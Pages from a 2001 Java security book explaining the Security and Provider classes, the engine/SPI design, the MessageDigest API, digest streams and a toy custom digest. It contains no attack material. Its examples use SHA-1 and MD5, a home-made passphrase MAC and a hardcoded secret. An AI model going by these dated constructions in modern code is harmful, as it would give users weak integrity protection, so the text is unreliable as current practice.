Remember that this is a two-step process. The security class receives a string (like KeyPairGenerator.DSA) and locates a class that provides that service (such as sun.security.provider.Sun). The Sun class, as a provider class, does not actually know how to generate keys (or do anything else)--it only knows what classes in the Sun security package know how to generate keys. Then the security class must ask the provider itself for the name of the class that actually implements the desired operation. That process is handled by an internal method of the Security class--we'll use that method implicitly over the next few chapters when we retrieve objects that implement a particular engine and algorithm. Before we do that, though, we'll finish looking at the interface of the Security class.

There are a number of other methods in the Security class that provide basic information about the configuration of the security provider.

public static void removeProvider(String name)

Remove the named provider from the list of provider classes. The remaining providers move up in the array of providers if necessary. If the named provider is not in the list, this method silently returns (i.e., no exception is thrown).

public static Provider[] getProviders()

Return a copy of the array of providers on which the Security class operates. Note that this is a copy of the array; reordering its elements has no effect on the Security class.

public static Provider getProvider(String name)

Return the provider with the given name. If the named provider is not in the list held by the Security class, this method returns null.

public static String getProperty(String key)

Get the property of the Security class with the associated key. The properties held in the Security class are the properties that were read from the java.security file. In typical usage, one of the properties is security.provider.1 (as well as any other providers listed in the java.security file). Note, however, that properties of this sort may not reflect the actual order of the provider classes: when the addProvider(), insertProviderAt(), and removeProvider() methods are called, the order of the providers changes. These changes are not reflected in the internal property list.

The java.security file has a number of other properties within it; these other properties may also be retrieved via this method.

public static String setProperty(String key)

Set the property of the security class with the associated key.

public static String getAlgorithmProperty(String algName, String propName) figure

Search all the providers for a property in the form Alg.propName.algName and return the first match it finds. For example, if a provider had set the Alg.NativeImplementation.XYZ property to the string "false," a call to getAlgorithmName("XYZ","NativeImplementation") returns the string "false" (which is why earlier we used a string value in the provider class).

Here's a simple example, then, of how to see a list of all the security providers in a particular virtual machine:

Class Definition

public class ExamineSecurity {
    public static void main(String args[]) {
        try {
            Provider p[] = Security.getProviders();
            for (int i = 0; i < p.length; i++) {
                System.out.println(p[i]);
                for (Enumeration e = p[i].keys(); e.hasMoreElements();)
                    System.out.println("\t" + e.nextElement());
            }
        }
        catch (Exception e) {
            System.out.println(e);
        }
    }
}

If we run this program with the 1.2 Sun security provider, we get this output:

Class Definition

SUN version 1.2
        Alg.Alias.MessageDigest.SHA
        Alg.Alias.Signature.SHAwithDSA
        Alg.Alias.Signature.1.3.14.3.2.13
        Alg.Alias.Signature.OID.1.2.840.10040.4.3
        Alg.Alias.Signature.SHA-1/DSA
        Alg.Alias.Signature.DSS
        Alg.Alias.Signature.SHA1withDSA
        Alg.Alias.Signature.OID.1.3.14.3.2.13
        AlgorithmParameters.DSA
        KeyFactory.DSA
        Alg.Alias.Signature.1.2.840.10040.4.3
        Alg.Alias.MessageDigest.SHA1
        AlgorithmParameterGenerator.DSA
        Alg.Alias.AlgorithmParameters.1.2.840.10040.4.1
        MessageDigest.MD5
        Alg.Alias.KeyPairGenerator.OID.1.2.840.10040.4.1
        MessageDigest.SHA-1
        Alg.Alias.KeyPairGenerator.OID.1.3.14.3.2.12
        Signature.DSA
        Alg.Alias.KeyPairGenerator.1.3.14.3.2.12
        Alg.Alias.KeyPairGenerator.1.2.840.10040.4.1
        Alg.Alias.Signature.1.3.14.3.2.27
        Alg.Alias.Signature.SHA/DSA
        KeyPairGenerator.DSA
        Alg.Alias.Signature.SHA1/DSA
        Alg.Alias.Signature.OID.1.3.14.3.2.27
        Alg.Alias.AlgorithmParameters.1.3.14.3.2.12
        KeyStore.JKS
        CertificateFactory.X509
        Alg.Alias.CertificateFactory.X.509
        SecureRandom.SHA1PRNG

Two things are readily apparent from this example. First, the strings that contain only an engine name and an algorithm implement the expected operations that we listed in Table 8-1. Second, as we mentioned in the section on the Provider class, security providers often leverage the fact that the Provider class is a subclass of the Properties class to provide properties that may make sense only to other classes that are part of the provider package. Hence, the signature algorithm 1.3.14.3.2.13 may make sense to one of the classes in the Sun security provider, but it is not a string that will necessarily make sense to other developers. In fact, those aliases--including the ones that are prefaced by OID--do have meanings within the cryptography standards world, but for our purposes we'll stick with the standard algorithm names that we listed earlier.

8.3.1. The Security Class and the Security Manager

All the public methods of the Security class call the checkSecurityAccess() method of the security manager. This gives the security manager the opportunity to intervene before an untrusted class affects the security policy of the virtual machine.

Recall that the checkSecurityAccess() method accepts a single string parameter. In the case of the methods in the Security class, the call that is made looks like this:

Class Definition

public static Provider getProvider(String name) {
    SecurityManager sec = System.getSecurityManager();
    if (sec != null)
        sec.checkSecurityAccess("java");
    ... continue to find the provider ...
}

The string parameter that is sent to the checkSecurityAccess() method has changed between releases of Java; the various methods and the strings they pass to the security manager are listed in Table 8-4.

Table 8-4. Security Checks of the Security Class

Method

1.2 Parameter

1.1 Parameter

Class Definition

insertProviderAt()

Class Definition

insertProvider. + provider.getName()

Class Definition

java

Class Definition

removeProvider()

Class Definition

removeProvider. + provider.getName()

Class Definition

java

Class Definition

getProviders()

-- not called --

Class Definition

java

Class Definition

getProvider()

-- not called --

Class Definition

java

Class Definition

getProperty()

Class Definition

getProperty. + key

Class Definition

java

Class Definition

setProperty()

Class Definition

setProperty. + key

Class Definition

java

In typical usage in 1.1, the security manager ignores this string altogether and simply allows all trusted classes to call these methods and prevents all untrusted classes from calling these methods. In 1.2, the security manager constructs a security permission for the given name and calls the access controller to see if the given permission has been granted.

Previous | Home | Next
8.2. The Provider Class | Book Index | 8.4. The Architecture of Engine Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Architecture of Engine Classes (Java Security)

 Java Security Search this book

8.4. The Architecture of Engine Classes

In the next few chapters, we'll discuss the engine classes that are part of the core Java API. All engine classes share a similar architecture that we'll discuss here.

Most programmers are only interested in using the engine classes to perform their desired operation; each engine class has a public interface that defines the operations the engine can perform. None of this is unusual: it is the basis of programming in Java.

However, the engine classes are designed so that users can employ third-party security providers (using the architecture we've just examined). For programmers who are interested in writing such providers, the engine classes have an additional interface called the security provider interface (SPI). The SPI is a set of abstract methods that a particular engine must implement in order to fulfill its contract of providing a particular operation.

The role of the SPI has changed between Java 1.1 and Java 1.2. In 1.1, the SPI was simply a convention. There were a set of protected, usually abstract, methods in each engine that made up the SPI. By convention, these methods begin with the word "engine"; implementing a 1.1 engine is a matter of implementing each of these protected methods.

In 1.2, the interface of an engine was split between two distinct classes: the engine class itself and the SPI class. For example, in 1.2 there is an engine class called MessageDigest, and its SPI class is called MessageDigestSpi. For historic reasons, there are differences in various engine classes between the engine class itself and the SPI.

There were three engine classes in 1.1. In 1.2, the SPI class for these classes is a superclass of the engine class; e.g., the MessageDigest class extends the MessageDigestSpi class. This allows the MessageDigest class in 1.2 to have the same interface as it does in 1.1, even though the class hierarchy to which it belongs has changed.

There are six new engine classes in 1.2, and for these classes, the SPI is unrelated to the class itself; e.g., there is a KeyFactory class and a KeyFactorySpi class, both of which simply subclass the Object class. In these cases, the engine class contains an instance of the SPI that it uses to carry out its operations. Table 8-5 summarizes the nine core Java engine classes and their corresponding SPI.

Table 8-5. Engine Classes in the Core Java API

Engine

SPI Class

Engine Superclass

Class Definition

AlgorithmParameters   figure

Class Definition

AlgorithmParametersSpi

Class Definition

Object

Class Definition

AlgorithmParameterGenerator   figure

Class Definition

AlgorithmParameterGeneratorSpi

Class Definition

Object

Class Definition

CertificateFactory   figure

Class Definition

CertificateFactorySpi

Class Definition

Object

Class Definition

KeyFactory   figure

Class Definition

KeyFactorySpi

Class Definition

Object

Class Definition

KeyPairGenerator

Class Definition

KeyPairGeneratorSpi

Class Definition

KeyPairGeneratorSpi

Class Definition

KeyStore   figure

Class Definition

KeyStoreSpi

Class Definition

Object

Class Definition

MessageDigest

Class Definition

MessageDigestSpi

Class Definition

MessageDigestSpi

Class Definition

SecureRandom   figure

Class Definition

SecureRandomSpi

Class Definition

Object

Class Definition

Signature

Class Definition

SignatureSpi

Class Definition

SignatureSpi

What this all means is that if you want to implement a security provider under Java 1.2, you would typically extend the SPI. This allows a developer to request a particular engine and receive the correct class according to the following algorithm:

  1. The programmer requests an instance of a particular engine that implements a particular algorithm. Engine classes never have public constructors; instead, every engine has a getInstance() method that takes the name of the desired algorithm as an argument and returns an instance of the appropriate class.

  2. The Security class is asked to consult its list of providers and provide the appropriate instance. For example, when the getInstance() method of the MessageDigest class is called, the Security class may determine that the appropriate provider class is called com.xyz.XYZMessageDigest.

  3. If the retrieved class does not extend the appropriate SPI (e.g., java.security.MessageDigestSpi in this case), a NoSuchAlgorithmException is generated.

  4. An instance of the retrieved class is created and returned to the getInstance() method (which in turn returns it to the developer).

For consistency, when you implement any engine class in 1.2, it is always possible to extend the appropriate SPI. However, when you implement one of the three engines that are part of 1.1, it may make more sense to extend the engine class (e.g., the MessageDigest class) rather than the SPI (e.g., the MessageDigestSpi class). This allows the implementation to be used under both 1.1 and 1.2. An engine class that directly subclasses its SPI in 1.2 cannot be used in 1.1, while an engine class that directly subclasses a Java engine class can be used in both 1.1 and 1.2. That is the convention we'll follow in our examples.

Previous | Home | Next
8.3. The Security Class | Book Index | 8.5. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

8.5. Summary

In this chapter, we've explored the architecture that forms the basis of the Java security API. This architecture is based on the Security and Provider classes, which together form a set of mappings that allow the security API to determine dynamically the set of classes it should use to implement certain operations.

Implementing a provider is trivial, but implementing the set of classes that must accompany a provider is much harder. We've shown a simple provider class in this chapter. Although we'll show the engine classes in the next few chapters, the mathematics behind designing and implementing a successful cryptographic algorithm are beyond the scope of this book. However, this architecture also allows users and administrators to buy or download third-party implementations of the security architecture and plug those implementations seamlessly into the Java virtual machine; a partial list of available third-party implementations appears in Appendix C, "Security Resources".

In the next few chapters, we'll examine the specifics of the engine classes--that is, the operations--that this security provider architecture makes possible. In those chapters, we'll see how the engines are used, and the benefits each engine provides.

Previous | Home | Next
8.4. The Architecture of Engine Classes | Book Index | 9. Message Digests
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Message Digests (Java Security)

 Java Security Search this book

Chapter 9. Message Digests

Contents:

Using the Message Digest Class
Message Digest Streams
Implementing a MessageDigest Class
Summary

In this chapter, we're going to look at the API that implements the ability to create and verify message digests. The ability to create a message digest is one of the standard engines provided by the Sun default security provider. You can therefore reasonably expect every Java implementation to create message digests.

Message digests are the simplest of the standard engines that compose the security provider architecture, so they provide a good starting point in our examination of those engines. In addition, message digests provide the first link in creating and verifying a digital signature--the most important goal of the provider architecture. However, message digests are useful entities in their own right, since a message digest can verify that data has not been tampered with--up to a point. As we'll see, there are certain limitations on the security of a message digest that is transmitted along with the data it represents.

Message digests are implemented through a single class:

public abstract class MessageDigest extends MessageDigestSpi

Implement operations to create and verify a message digest.

In Java 1.1, there is no MessageDigestSpi class, and the MessageDigest class simply extends Object. That difference is important only if you want to implement your own message digest class, which we'll do later in the chapter.

Like all engines in the Java security package, the MessageDigest class (java.security.MessageDigest) is an abstract class; it defines an interface that all message digests must have, but the implementation details of a particular message digest class are hidden in the private classes that accompany a security provider. This allows a developer to use the message digest class without knowing the details of a message digest implementation by operating on the public methods of the message digest class, and it allows providers of a security package to implement their own message digests by implementing the abstract methods of the class. We'll examine the message class from the perspectives of both developer and implementor in this chapter.

9.1. Using the Message Digest Class

For a developer who wants to operate on a message digest, the first step is to obtain an instance of the message digest class. Since the message digest class is abstract, this cannot be done directly; instead, the developer must use one of these methods:

public static MessageDigest getInstance(String algorithm)
public static MessageDigest getInstance(String algorithm, String provider)

Return an instance of the message digest class that implements the given algorithm. In the first case, the security providers are searched in order following the process we outlined in Chapter 8, "Security Providers"; otherwise, only the given provider is searched. Valid names for the default Sun security provider are SHA, SHA-1, and MD5. If no provider can be found that implements the given algorithm, a NoSuchAlgorithmException is thrown. If the named provider cannot be found, a NoSuchProviderException is thrown.

Once a message digest object has been obtained, the developer can operate on that object with these methods:

public void update(byte input)
public void update(byte[] input)
public void update(byte[] input, int offset, int length)

Add the specified data to the digest. The first of these methods adds a single byte to the data, the second adds the entire array of bytes, and the third adds only the specified subset of the array of data.

These methods may be called in any order and any number of times to add the desired data to the digest. Consecutive calls to these methods append data to the internal accumulation of data over which the digest will be calculated.

public byte[] digest()
public byte[] digest(byte[] input)

Compute the message digest on the accumulated data (optionally adding the specified data before performing the computation). The resulting digest is returned as a byte array. Once a digest has been calculated, the internal state of the algorithm is reset, so that the object may be reused at this point to create a new message digest.

public int digest(byte[] output, int offset, int len) figure

Compute the message digest on the accumulated data and place the answer into the provided array, starting at the given offset and copying at most len bytes. Most implementations do not return a partial digest, so if the amount of space in the buffer (taking into account its offset) is not sufficient to store the digest, a DigestException is thrown. This method returns the size of the digest.

public static boolean isEqual(byte digestA[], byte digestB[])

Compare two digests for equality. Two digests are considered equal only if each byte in the first digest is exactly equal to each byte in the second digest and the digests are the same length.

public void reset()

Reset the digest object by discarding all accumulated data and resetting the algorithm that is used to implement the digest. This is equivalent to creating a new instance of the object. In addition, this method throws away any information that the toString() method would have printed (see below).

public final String getAlgorithm()

Return the string representing the algorithm name (e.g., SHA).

public String toString()

A string representation of a digest by default contains the name of the class implementing the digest, the words "Message Digest," and the bytes that were returned by a previous call to the digest() method. If the digest() method has not been called, or if the reset() method has been called, then "<incomplete>" is printed instead of the digest. An example string looks like:

Class Definition

sun.security.provider.SHA Message Digest \
        <0a808982fee54fd74a86aae72eff7991328ff32b>
public Object clone() throws CloneNotSupportedException

Return a clone of the object. Message digest implementations need to implement the clone() method because some internal operations on the digest object require a call to the digest() method, which resets the digest. These operations are typically done on a clone of the object so that the state of the original object is not changed.

public final int getDigestLength() figure

Return the length of array of bytes that are returned from the digest() method. This value is usually constant (i.e., it does not depend on the amount of data that has been sent through the update() method).

Let's see an example of how all of this works. As a simple case, let's say that we want to save a simple string to a file, but we're worried that the file might be corrupted when we read the string back in. Hence, in addition to saving the string, we must save a message digest. We do this by saving the serialized string object followed by the serialized array of bytes that constitute the message digest.

In order to save the pieces of data, we use this code:

Class Definition

public class Send {
    public static void main(String args[]) {
        try {
            FileOutputStream fos = new FileOutputStream("test");
            MessageDigest md = MessageDigest.getInstance("SHA");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            String data = "This have I thought good to deliver thee, "+
                "that thou mightst not lose the dues of rejoicing " +
                "by being ignorant of what greatness is promised thee.";
            byte buf[] = data.getBytes();
            md.update(buf);
            oos.writeObject(data);
            oos.writeObject(md.digest());
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

That's all there is to creating a digest of some data. The call to the getInstance() method finds a message digest object that implements the SHA message digest algorithm. After creating our data--which in this case is a simple string--we pass that data to the update() method of the message digest. In practice, this code could be slightly more complicated, since all the data might not be available at once. As far as the message digest object is concerned, though, that situation would just require multiple calls to the update() method instead of a single call (it can also be handled with digest streams, which we'll examine next). Once we've loaded all the data into the object, it is a simple matter to create the digest itself (with the digest() method) and then save our data objects to the file.

Similarly, to retrieve this data we need only read the object back in and verify the message digest. In order to verify the message digest, we must recompute the digest over the data we received and test to make sure the digest is equivalent to the original digest:

Class Definition

public class Receive {
    public static void main(String args[]) {
        try {
            FileInputStream fis = new FileInputStream("test");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Object o = ois.readObject();
            if (!(o instanceof String)) {
                System.out.println("Unexpected data in file");
                System.exit(-1);
            }
            String data = (String) o;
            System.out.println("Got message " + data);
            o = ois.readObject();
            if (!(o instanceof byte[])) {
                System.out.println("Unexpected data in file");
                System.exit(-1);
            }
            byte origDigest[] = (byte []) o;
            MessageDigest md = MessageDigest.getInstance("SHA");
            md.update(data.getBytes());
            if (MessageDigest.isEqual(md.digest(), origDigest))
                System.out.println("Message is valid");
            else System.out.println("Message was corrupted");
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

Once again, if the data was not available all at once, we would need to make multiple calls to the update() method as the data arrived. We do not, however, need to make sure that calls to the update() methods between the Send and Receive classes match in any sense; that is, if we called the update() method four times in the Send class, we do not need to call the update() method four times (with the same data) in the Receive class--we can call it once, five times, or whatever. The calculation of the digest is unaffected by how the data was placed into the message digest object--as long as the order of the bytes presented to the various calls to the update() methods is the same.

9.1.1. Secure Message Digests

As we stated in Chapter 7, "Introduction to Cryptography", the message digest by itself does not give us a very high level of security. We can tell whether somehow the output file in this example has been corrupted, because the text that we read in won't produce the same message digest that was saved with the file. But there's nothing to prevent someone from changing both the text and the digest stored in the file in such a way that the new digest reflects the altered text.

There are various ways in which a message digest can be made into a Message Authentication Code (MAC), but the Java security API does not provide any standard techniques for doing so. One popular way is to encrypt the message digest using the encryption engine (if one is available to you)--which, in fact, is really a variation of a digital signature.

If we are not able to encrypt the digest, all is not lost; we can also use a passphrase along with the message digest in order to calculate a secure message digest (or MAC). This requires that both the sender and receiver of the data have a shared passphrase that they have kept secret.

Using this passphrase, calculating a MAC requires that we:

  1. Calculate the message digest of the secret passphrase concatenated with the data:

    Class Definition

    MessageDigest md = MessageDigest.getInstance("SHA");
String data = "This have I thought good to deliver thee, " +
                "that thou mightst not lose the dues of rejoicing " +
                "by being ignorant of what greatness is promised thee.";
String passphrase = "Sleep no more";
byte dataBytes[] = data.getBytes();
byte passBytes[] = passphrase.getBytes();
md.update(passBytes);
md.update(dataBytes);
byte digest1[] = md.digest();

  2. Calculate the message digest of the secret passphrase concatenated with the just-calculated digest:

    Class Definition

    md.update(passBytes);
md.update(digest1);
byte mac[] = md.digest();

We can substitute this code into our original Send example, writing out the data string and the MAC to the file. Note that we can use the same message digest object to calculate both digests, since the object is reset after a call to the digest() method. Also note that the first digest we calculate is not saved to the file: we save only the data and the MAC. Of course, we must make similar changes to the Receive example; if the MACs are equal, the data was not modified in transit.

As long as we use exactly the same data for the passphrase in both the transmitting and receiving class, the message digests (that is, the MACs) still compare as equal. That gives a certain level of security to the message digest, but it requires that the sender and the receiver agree on what data to use for the passphrase; the passphrase cannot be transmitted along with the text. In this case, the security of the message digest depends upon the security of the passphrase. Normally, of course, you would prompt for that passphrase rather than hardcoding into the source as we've done above.

Previous | Home | Next
8.5. Summary | Book Index | 9.2. Message Digest Streams
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Message Digest Streams (Java Security)

 Java Security Search this book

9.2. Message Digest Streams

The interface to the message digest class requires that you supply the data for the digest as a series of single bytes or byte arrays. As we mentioned earlier, this is not always the most convenient way to process data, which may be coming from a file or other input stream. This brings us to the message digest stream classes. These classes implement the standard input and output filter stream semantics of Java streams so that data can be written to a digest stream that will calculate the digest as the data itself is written (or the reverse operation for reading data).

9.2.1. The DigestOutputStream Class

The first of these classes we'll examine is the DigestOutputStream class (java.security.DigestOutputStream). This class allows us to write data to a particular output stream and calculate the message digest of that data transparently as the data passes through the stream:

public class DigestOutputStream extends FilterOutputStream

Provide a stream that can calculate the message digest of data that is passed through the stream. A digest output stream holds two components internally: the output stream that is the ultimate destination of the data, and a message digest object that computes the data of the stream written to the destination.

The digest output stream is constructed as follows:

public DigestOutputStream(OutputStream os, MessageDigest md)

Construct a digest output stream that associates the given output stream with the given message digest. Data that is written to the stream is automatically passed to the update() method of the message digest.

In addition to the standard methods available to all output streams, a message digest output stream provides the following interface:

public MessageDigest getMessageDigest()

Return the message digest associated with this output stream.

public void setMessageDigest(MessageDigest md)

Associate the given message digest with this output stream. The internal reference to the original message digest is lost, but the original message digest is otherwise unaffected (i.e., if you still hold a reference to the original message digest object, you can still calculate the digest of the data that was written to the stream while that digest was in place).

public void write(int b)
public void write(byte b[], int off, int len)

Write the given byte or array of bytes to the underlying output stream, and also update the internal message digest with the given data (if the digest stream is marked as on). These methods may throw an IOException from the underlying stream.

public void on(boolean on)

Turn the message digest stream on or off. When data is written to a stream that is off, the data will be passed to the underlying output stream, but the message digest will not be updated.

Note that this last method does not affect the underlying output stream at all; data is still sent to the underlying stream even if the digest output stream is marked as off. The on/off state only affects whether the update() method of the message digest will be called as the data is written.

We can use this class to simplify the example we used earlier:

Class Definition

public class SendStream {
    public static void main(String args[]) {
        try {
            FileOutputStream fos = new FileOutputStream("test");
            MessageDigest md = MessageDigest.getInstance("SHA");
            DigestOutputStream dos = new DigestOutputStream(fos, md);
            ObjectOutputStream oos = new ObjectOutputStream(dos);
            String data = "This have I thought good to deliver thee, "+
                "that thou mightst not lose the dues of rejoicing " +
                "by being ignorant of what greatness is promised thee.";
            oos.writeObject(data);
            dos.on(false);
            oos.writeObject(md.digest());
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

The big change is in constructing the object output stream--we now want to wrap it around the digest output stream so that as each object is written to the file, the message digest will include those bytes. We also want to make sure that we turn off the message digest calculation before we send the digest itself to the file. Turning off the digest isn't strictly necessary in this case, since we don't use the digest object once we've calculated a single digest in this example, but it's good practice to keep the digest on only when strictly required.

Note that there is a subtle difference between the digest produced in this example and the previous example. In the first example, the digest was calculated over just the bytes of the string that we saved to the file. In the second example, the digest was calculated over the serialized string object itself--which includes some information regarding the class definition in addition to the bytes of the string.

9.2.2. The DigestInputStream Class

The symmetric operation to the digest output stream is the DigestInputStream class (java.security.DigestInputStream):

public class DigestInputStream extends FilterInputStream

Create an input stream that is associated with a message digest. When data is read from the input stream, it is also sent to the update() method of the stream's associated message digest.

The digest input stream has essentially the same interface as the digest output stream (with writing replaced by reading). There is a single constructor for the class:

public DigestInputStream(InputStream is, MessageDigest md)

Construct a digest input stream that associates the given input stream with the given message digest. Data that is read from the stream will also automatically be passed to the update() method of the message digest.

The interface provided by the digest input stream is symmetric to the digest output stream:

public MessageDigest getMessageDigest()

Return the message digest that is associated with this output stream.

public void setMessageDigest(MessageDigest md)

Associate the given message digest with this output stream. The internal reference to the original message digest is lost, but the original message digest is otherwise unaffected (e.g., you can still calculate the digest of the data that had been written to the stream while that digest was in place).

public void read(int b)
public void read(byte b[], int off, int len)

Read one or more bytes from the underlying output stream, and also update the internal message digest with the given data (if the digest stream is marked as on). These methods may throw an IOException from the underlying stream.

public void on(boolean on)

Turn the message digest stream on or off. When data is read from a stream that is off, the message digest will not be updated.

Here's how we can use this class to read the file we created with the digest output stream:

Class Definition

public class ReceiveStream {
    public static void main(String args[]) {
        try {
            FileInputStream fis = new FileInputStream("test");
            MessageDigest md = MessageDigest.getInstance("SHA");
            DigestInputStream dis = new DigestInputStream(fis, md);
            ObjectInputStream ois = new ObjectInputStream(dis);
            Object o = ois.readObject();
            if (!(o instanceof String)) {
                System.out.println("Unexpected data in file");
                System.exit(-1);
            }
            String data = (String) o;
            System.out.println("Got message " + data);
            dis.on(false);
            o = ois.readObject();
            if (!(o instanceof byte[])) {
                System.out.println("Unexpected data in file");
                System.exit(-1);
            }
            byte origDigest[] = (byte []) o;
            if (MessageDigest.isEqual(md.digest(), origDigest))
                System.out.println("Message is valid");
            else System.out.println("Message was corrupted");
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

Once again, constructing the input stream is a matter of providing a message digest. In this example, we've again turned off the digest input stream after reading the string object in the file. Turning off the stream is strictly required in this case. We want to make sure that the digest we calculate is computed only over the string object and not the stored byte array (that is, the stored message digest).

Previous | Home | Next
9.1. Using the Message Digest Class | Book Index | 9.3. Implementing a MessageDigest Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Implementing a MessageDigest Class (Java Security)

 Java Security Search this book

9.3. Implementing a MessageDigest Class

If you want to write your own security provider, you have the option of creating your own message digest engine. Typically, you'd do this because you want to ensure that a particular algorithm like SHA is available regardless of who the default security provider is; if you have a mathematics background, it's conceivable that you might want to implement your own algorithm.

In order to implement a message digest algorithm, you must provide a concrete subclass of the MessageDigest class. This essentially entails providing an implementation of most of the public methods we've just looked at. Although the public methods are not declared abstract, they typically do nothing more than call an internal (protected) method to accomplish their task.

The MessageDigest class exists in both Java 1.1 and 1.2,[1] which is why it extends its SPI (see Chapter 8, "Security Providers"). For our example, we'll directly subclass the MessageDigest class so that the resulting example will work under both releases, but remember that in 1.2 you have the option of extending the MessageDigestSpi class directly.

[1]1.2 is now Java 2.

There is a single constructor in the MessageDigest class that is available to implementors:

protected MessageDigest(String name)

Construct a message digest object. Classes that extend the MessageDigest class must call this constructor, as this is the only constructor in the class. As we'll see, however, the constructor of the subclass must take no arguments.

In order to write a message digest class, you must implement each of the following methods:

protected abstract void engineUpdate(byte input)
protected abstract void engineUpdate(byte[] input, int offset, int len)

Add the given bytes to the data over which the digest will be calculated. Note that there is no method in this list that accepts simply an array of bytes; the update(byte[] b) method in the base class simply uses an offset of and a length equal to the entire array.

protected abstract byte[] engineDigest()

Calculate the digest over the accumulated data, resetting the internal state of the object afterwards. Note that there is no corresponding method that accepts an array of bytes as an argument; the digest() method in the base class simply calls the engineUpdate() method if needed before calling the engineDigest() method.

protected int engineDigest(byte buf[], int offset, int len) figure

Calculate the digest, placing the output into the buf array (starting at the given offset and proceeding for len bytes) and returning the length of the calculated digest. The default implementation of this method simply calls the engineDigest() method and then copies the result into buf. The buffer passed to this method always has sufficient length to hold the digest, since if the buffer had been too short the digest() method itself would have thrown an exception.

protected abstract void engineReset()

Reset the internal state of the engine, discarding all accumulated data and resetting the algorithm to an initial condition.

protected int engineGetDigestLength() figure

Return the digest length that is supported by this implementation. Unlike most of the protected methods in this class, this method is not abstract; it does not need to be overridden. However, the default implementation simply returns 0. If is returned by this method, the getDigestLength() method attempts to create a clone of the digest object, calculate its digest, and return the length of the calculated digest. If a digest implementation does not override this method and does not implement the Cloneable interface, the getDigestLength() method will not operate correctly.

Each of these methods corresponds to a public method we just looked at, with the name of the public method preceded by the word "engine". The public methods that do not have a corresponding method in this list are fully implemented in the base class and do not need to be implemented in the message digest subclass.

We'll show a simple implementation of a message digest class here. This implementation is based on a hash algorithm that produces a 4-byte output. As bytes are accumulated by this algorithm, they are stored into a 4-byte value (that is, an int); when this value has all four bytes filled, it is XOR-ed to another integer that accumulates the hash.

Class Definition

package com.xyz;

public class XYZMessageDigest extends MessageDigest
                              implements Cloneable {
    private int hash;
    private int store;
    private int nBytes;

    public XYZMessageDigest() {
        super("XYZ");
        engineReset();
    }

    public void engineUpdate(byte b) {
        switch(nBytes) {
            case 0:
                store =  (b << 24) & 0xff000000;
                break;
            case 1:
                store |= (b << 16) & 0x00ff0000;
                break;
            case 2:
                store |= (b <<  8) & 0x0000ff00;
                break;
            case 3:
                store |= (b <<  0) & 0x000000ff;
                break;
        }
        nBytes++;
        if (nBytes == 4) {
            hash = hash ^ store;
            nBytes = 0;
            store = 0;
        }
    }

    public void engineUpdate(byte b[], int offset, int length) {
        for (int i = 0; i < length; i++)
            engineUpdate(b[i + offset]);
    }

    public void engineReset() {
        hash = 0;
        store = 0;
        nBytes = 0;
    }

    public byte[] engineDigest() {
        while (nBytes != 0)
            engineUpdate((byte) 0);
        byte b[] = new byte[4];
        b[0] = (byte) (hash >>> 24);
        b[1] = (byte) (hash >>> 16);
        b[2] = (byte) (hash >>>  8);
        b[3] = (byte) (hash >>>  0);
        engineReset();
        return b;
    }
}

The implementation of this class is simple, which isn't surprising given the fact that the algorithm itself is too simple to be considered an effective digest algorithm. The major points to observe are:

  • The name of the class (XYZMessageDigest) and the name of the algorithm that it implements (XYZ) must match one of the strings in the provider package for this class to be found. Hence, in our provider class in Chapter 8, "Security Providers", we included this property:

    Class Definition

    put("MessageDigest.XYZ", "com.xyz.XYZMessageDigest");

  • Our constructor calls the only constructor available to us, and the string "XYZ" that we pass to that constructor takes on significance--it's the name of the algorithm we've implemented in this class. This in turn becomes the name that is registered in the security provider architecture; it must match the name of the algorithm we registered in our provider.

  • In order for the getDigestLength() method to function, we chose to implement the Cloneable interface instead of overriding the engineGetDigestLength() method. Since there are no embedded objects in this class, we do not need to override the clone() method. The default implementation of that method (a shallow copy) is sufficient for this class.

  • The engineUpdate() methods accumulate bytes of data until an integer has been accumulated, at which point that integer can be XOR-ed into the saved state held in the hash instance variable.

  • The engineDigest() method converts the hash instance variable into a byte array and returns that to the programmer. Note that the engineDigest() method is responsible for resetting the internal state of the algorithm. In addition, the engineDigest() method is responsible for padding the data so that it is a multiple of four bytes (the size of a Java integer). This type of data padding is a common feature of message digest calculation.

  • The engineReset() method initializes the algorithm to its initial state.

Once we have an implementation of a message digest, we must install it into the security provider architecture. If we use the XYZProvider class from Chapter 8, "Security Providers", we can change our Send class above to use our new digest algorithm:

Class Definition

public class SendXYZ {
    public static void main(String args[]) {
        try {
            Security.addProvider(new XYZProvider());
            FileOutputStream fos = new FileOutputStream("test.xyz");
            MessageDigest md = MessageDigest.getInstance("XYZ");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            String data = "This have I thought good to deliver thee, "+
                "that thou mightst not lose the dues of rejoicing " +
                "by being ignorant of what greatness is promised thee.";
            byte buf[] = data.getBytes();
            md.update(buf);
            oos.writeObject(data);
            oos.writeObject(md.digest());
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

Similar changes to the Receive class will allow us to accept the message that we've saved to the file test.xyz.

Previous | Home | Next
9.2. Message Digest Streams | Book Index | 9.4. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

9.4. Summary

In this chapter, we've explored the first link in creating an authenticated and secure system: the message digest. The facility to calculate a message digest is straightforward and easy to use; the facility to write our own message digest class is equally straightforward.

The message digest by itself gives us some comfort about the state of the data it represents, but it does not give us a completely secure system. If we have a shared passphrase, we can construct a secure message digest (that is, a Message Authentication Code), but there are no easy means to share that passphrase. A MAC is similiar to a digital signature (where digital keys replace the passphrase); in the next few chapters, we'll continue our exploration of the API to provide the necessary components of a digital signature, beginning with an exploration of the keys required to create a digital signature.

Previous | Home | Next
9.3. Implementing a MessageDigest Class | Book Index | 10. Keys and Certificates
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Keys and Certificates (Java Security)

 Java Security Search this book

Chapter 10. Keys and Certificates

Contents:

Keys
The KeyPairGenerator Class
The KeyFactory Class
Certificates
